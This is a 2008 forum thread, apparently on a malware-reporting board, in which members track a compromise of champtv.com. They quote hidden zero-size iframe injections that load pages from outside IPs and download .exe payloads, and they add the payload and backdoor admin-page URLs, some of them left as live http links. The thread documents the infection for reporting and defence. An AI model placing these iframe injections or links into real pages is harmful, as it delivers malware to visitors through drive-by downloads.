Author Topic: hxxp://www.champtv.com/  (Read 5021 times)

0 Members and 1 Guest are viewing this topic.

August 04, 2008, 09:15:31 am
Read 5021 times

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
Quote
hxxp:///www.champtv.com/index.asp
   <iframe width=0 height=0 src=hxxp://222.73.15.200/image.jpg></iframe> // JavaScript File
      hxxp://222.73.15.200/dos.exe

August 04, 2008, 01:13:29 pm
Reply #1

Serg

  • Special Members
  • Sr. Member

  • Offline
  • *

  • 132
and admin page for this backdoor is here
Code: [Select]
http://www.fuckbb.com/dos5.txt

August 05, 2008, 01:32:34 pm
Reply #2

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
oh... Thank you very much Serg...
I will report this issue to admin.

Quote
hxxp:///www.champtv.com/index.asp
   <iframe width=0 height=0 src=hxxp://211.238.45.18/img/img.jpg></iframe>
      hxxp://211.238.45.18/img/img.exe

Quote
hxxp://champtv.com/images/box_2.gif
   <iframe src=hxxp://www.168user.com.tw/shop/9/inc/shop.htm width=0 height=0></iframe>

August 05, 2008, 01:36:27 pm
Reply #3

Kayrac

  • Guest
Code: [Select]
http://phi.or.kr/news/news/e.exe
is what that last one tries to dl

:)

August 07, 2008, 06:16:09 pm
Reply #4

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964

August 12, 2008, 11:49:46 pm
Reply #5

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
Thank you Kayrac ;D ;D ;D

Quote
   hxxp://218.38.58.134/index.htm
   <_iframe width=0 height=0 src=hxxp://218.38.58.134/M.htm></_iframe>
      hxxp://218.38.58.134/M.exe
   <_iframe width=0 height=0 src=htxx://218.38.58.134/MM.htm></_iframe>
      hxxp://218.38.58.134/MM.exe

August 13, 2008, 04:53:41 pm
Reply #6

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964

August 14, 2008, 12:50:54 am
Reply #7

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
Quote
hxxp://www.champtv.com/
   <_iframe src=hxxp://218.38.58.134
      <_iframe src=hxxp://218.38.58.134/1/0614.htm width=0 height=0></_iframe>
         hxxp://211.238.45.18/fla/y.exe
      <_iframe src=hxxp://218.38.58.134/1/flash.htm width=0 height=100></_iframe>
      <_iframe src=hxxp://218.38.58.134/1/office.htm width=0 height=0></_iframe>
         hxxp//211.238.45.18/fla/y.exe // Microsoft Access for Snapshot View Active X Control

August 14, 2008, 11:54:30 pm
Reply #8

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964